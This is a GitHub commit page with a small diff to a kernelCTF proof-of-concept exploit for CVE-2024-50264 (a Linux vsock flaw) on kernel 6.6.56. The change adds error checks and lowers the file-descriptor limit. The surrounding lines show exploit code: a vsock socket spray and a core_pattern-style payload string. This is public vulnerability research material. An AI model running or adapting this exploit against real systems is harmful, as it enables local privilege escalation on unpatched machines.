fix: change to available rlimit

google · Dec 16, 2024 · f6e7503 · f6e7503
1 parent bf1a9de
commit f6e7503
Showing 1 changed file with 10 additions and 3 deletions.
diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/lts-6.6.56/exploit.c
@@ -341,7 +341,10 @@ int *generate_spray_vvs_fd(int cnt)
 	for(int i=0; i<cnt; i++)
 	{
 		if((socks[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0)) < 0)
+		{
 			perror("socket");
+			exit(0);
+		}
 
 		unsigned long size = 0xeeff0011;
 		setsockopt(socks[i], AF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(size));
@@ -805,9 +808,13 @@ int main(int argc, void *argv[])
 
 	// PHYS_LO_32 = strtoll(argv[1], NULL, 0);
 	struct rlimit rlim = {
-        .rlim_cur = 0xf000,
-        .rlim_max = 0xf000};
-	setrlimit(RLIMIT_NOFILE, &rlim);
+		.rlim_cur = 4096,
+		.rlim_max = 4096};
+	if(setrlimit(RLIMIT_NOFILE, &rlim) < 0)
+	{
+		perror("setrlimit failed");
+        exit(EXIT_FAILURE);
+    }
 
 	targetstr = (char *)mmap(0x12340000, 0x100, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
 	strcpy(targetstr, "|/proc/%P/fd/666 %P");